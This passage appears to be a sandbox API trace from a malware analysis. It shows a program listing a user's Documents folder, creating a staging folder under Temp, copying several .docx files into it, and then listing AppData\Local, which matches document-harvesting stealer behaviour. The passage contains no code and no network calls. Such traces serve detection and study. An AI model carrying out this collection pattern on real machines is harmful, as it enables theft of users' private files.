dwReserved0=0x0, dwReserved1=0x0, cFileName="LxH4NFDWd.pptx", cAlternateFileName="LXH4NF~1.PPT")) returned 1 [0178.621] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5e0e70, ftCreationTime.dwHighDateTime=0x1d5b5b9, ftLastAccessTime.dwLowDateTime=0xf74ffa80, ftLastAccessTime.dwHighDateTime=0x1d5c55a, ftLastWriteTime.dwLowDateTime=0xf74ffa80, ftLastWriteTime.dwHighDateTime=0x1d5c55a, nFileSizeHigh=0x0, nFileSizeLow=0x2f59, dwReserved0=0x0, dwReserved1=0x0, cFileName="MgYCpmIZ9EQ.pptx", cAlternateFileName="MGYCPM~1.PPT")) returned 1 [0178.621] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0178.621] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0178.621] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0178.621] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a46a920, ftCreationTime.dwHighDateTime=0x1d5e4c6, ftLastAccessTime.dwLowDateTime=0xd19f1590, ftLastAccessTime.dwHighDateTime=0x1d5dab4, ftLastWriteTime.dwLowDateTime=0xd19f1590, ftLastWriteTime.dwHighDateTime=0x1d5dab4, nFileSizeHigh=0x0, nFileSizeLow=0x13f73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nzPL4H3OtlPFfcMQoH.xls", cAlternateFileName="NZPL4H~1.XLS")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf211d6b0, ftCreationTime.dwHighDateTime=0x1d5d964, ftLastAccessTime.dwLowDateTime=0x87016600, ftLastAccessTime.dwHighDateTime=0x1d5e7cf, ftLastWriteTime.dwLowDateTime=0x87016600, ftLastWriteTime.dwHighDateTime=0x1d5e7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17740, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oa5WKIrkF.ppt", cAlternateFileName="OA5WKI~1.PPT")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x2a019325, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x2a019325, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12787270, ftCreationTime.dwHighDateTime=0x1d5645c, ftLastAccessTime.dwLowDateTime=0xa28ce390, ftLastAccessTime.dwHighDateTime=0x1d57c5e, ftLastWriteTime.dwLowDateTime=0xa28ce390, ftLastWriteTime.dwHighDateTime=0x1d57c5e, nFileSizeHigh=0x0, nFileSizeLow=0xd62a, dwReserved0=0x0, dwReserved1=0x0, cFileName="QxUn9iVN3ve9FYhKljC.pptx", cAlternateFileName="QXUN9I~1.PPT")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a6cab0, ftCreationTime.dwHighDateTime=0x1d5adf5, ftLastAccessTime.dwLowDateTime=0xfce198b0, ftLastAccessTime.dwHighDateTime=0x1d56f69, ftLastWriteTime.dwLowDateTime=0xfce198b0, ftLastWriteTime.dwHighDateTime=0x1d56f69, nFileSizeHigh=0x0, nFileSizeLow=0x12139, dwReserved0=0x0, dwReserved1=0x0, cFileName="rCUiAogQWHaN.xlsx", cAlternateFileName="RCUIAO~1.XLS")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91083b50, ftCreationTime.dwHighDateTime=0x1d586eb, ftLastAccessTime.dwLowDateTime=0x3a1ff460, ftLastAccessTime.dwHighDateTime=0x1d5e017, ftLastWriteTime.dwLowDateTime=0x3a1ff460, ftLastWriteTime.dwHighDateTime=0x1d5e017, nFileSizeHigh=0x0, nFileSizeLow=0x7826, dwReserved0=0x0, dwReserved1=0x0, cFileName="xfYOF4so4A6c_ ZNJ12z.xlsx", cAlternateFileName="XFYOF4~1.XLS")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x385282e0, ftCreationTime.dwHighDateTime=0x1d5df10, ftLastAccessTime.dwLowDateTime=0x3683fc10, ftLastAccessTime.dwHighDateTime=0x1d5e400, ftLastWriteTime.dwLowDateTime=0x3683fc10, ftLastWriteTime.dwHighDateTime=0x1d5e400, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQzL7R", cAlternateFileName="")) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc67ec240, ftCreationTime.dwHighDateTime=0x1d5dd17, ftLastAccessTime.dwLowDateTime=0x6e32bcc0, ftLastAccessTime.dwHighDateTime=0x1d57e50, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YsuINtJM29u.docx", cAlternateFileName="YSUINT~1.DOC")) returned 1 [0178.623] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.623] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0178.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff154) returned 1 [0178.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff160) returned 1 [0178.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", nBufferLength=0x105, lpBuffer=0x12fec78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", lpFilePart=0x0) returned 0x34 [0178.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff128) returned 1 [0178.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a4 | out: lpFileInformation=0x12ff1a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff124) returned 1 [0178.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\", nBufferLength=0x105, lpBuffer=0x12fec7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\", lpFilePart=0x0) returned 0x35 [0178.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b8) returned 1 [0178.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff134 | out: lpFileInformation=0x12ff134*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0b4) returned 1 [0178.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b8) returned 1 [0178.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff134 | out: lpFileInformation=0x12ff134*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0b4) returned 1 [0178.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0b8) returned 1 [0178.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x12ff134 | out: lpFileInformation=0x12ff134*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0178.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0b4) returned 1 [0178.624] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), lpSecurityAttributes=0x0) returned 1 [0178.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4uV4065ClZioLoOxUX7f.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4uV4065ClZioLoOxUX7f.docx", lpFilePart=0x0) returned 0x33 [0178.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx", lpFilePart=0x0) returned 0x4e [0178.626] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\4uV4065ClZioLoOxUX7f.docx" (normalized: "c:\\users\\fd1hvy\\documents\\4uv4065clziolooxux7f.docx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\4uv4065clziolooxux7f.docx"), bFailIfExists=1) returned 1 [0178.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", nBufferLength=0x105, lpBuffer=0x12fec78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", lpFilePart=0x0) returned 0x34 [0178.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff128) returned 1 [0178.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a4 | out: lpFileInformation=0x12ff1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da82629, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da82629, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0178.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff124) returned 1 [0178.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\7d4Q8tI0a.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\7d4Q8tI0a.docx", lpFilePart=0x0) returned 0x28 [0178.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx", lpFilePart=0x0) returned 0x43 [0178.852] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\7d4Q8tI0a.docx" (normalized: "c:\\users\\fd1hvy\\documents\\7d4q8ti0a.docx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\7d4q8ti0a.docx"), bFailIfExists=1) returned 1 [0178.861] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", nBufferLength=0x105, lpBuffer=0x12fec78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", lpFilePart=0x0) returned 0x34 [0178.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff128) returned 1 [0178.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a4 | out: lpFileInformation=0x12ff1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dcbea63, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0178.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff124) returned 1 [0178.861] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\CQmwTaiySiiMfKSxL.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\CQmwTaiySiiMfKSxL.docx", lpFilePart=0x0) returned 0x30 [0178.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx", lpFilePart=0x0) returned 0x4b [0178.862] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\CQmwTaiySiiMfKSxL.docx" (normalized: "c:\\users\\fd1hvy\\documents\\cqmwtaiysiimfksxl.docx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\cqmwtaiysiimfksxl.docx"), bFailIfExists=1) returned 1 [0178.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", nBufferLength=0x105, lpBuffer=0x12fec78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", lpFilePart=0x0) returned 0x34 [0178.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff128) returned 1 [0178.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a4 | out: lpFileInformation=0x12ff1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dce4f4c, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dce4f4c, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0178.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff124) returned 1 [0178.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Gwq5EHvw1.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Gwq5EHvw1.docx", lpFilePart=0x0) returned 0x28 [0178.872] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx", lpFilePart=0x0) returned 0x43 [0178.872] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Gwq5EHvw1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\gwq5ehvw1.docx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\gwq5ehvw1.docx"), bFailIfExists=1) returned 1 [0178.887] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", nBufferLength=0x105, lpBuffer=0x12fec78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files", lpFilePart=0x0) returned 0x34 [0178.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff128) returned 1 [0178.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\files" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a4 | out: lpFileInformation=0x12ff1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0178.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff124) returned 1 [0178.888] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\YsuINtJM29u.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\YsuINtJM29u.docx", lpFilePart=0x0) returned 0x2a [0178.888] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx", lpFilePart=0x0) returned 0x45 [0178.888] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\YsuINtJM29u.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ysuintjm29u.docx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\ysuintjm29u.docx"), bFailIfExists=1) returned 1 [0178.906] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8c4, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0178.906] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8c4, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0178.906] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8c4, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0178.907] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8c4, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0178.907] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8c4, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0178.907] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8c4, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0179.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff11c) returned 1 [0179.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x12febd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0179.001] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x12fee44 | out: lpFindFileData=0x12fee44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.002] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.002] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0179.002] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0179.003] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0179.003] 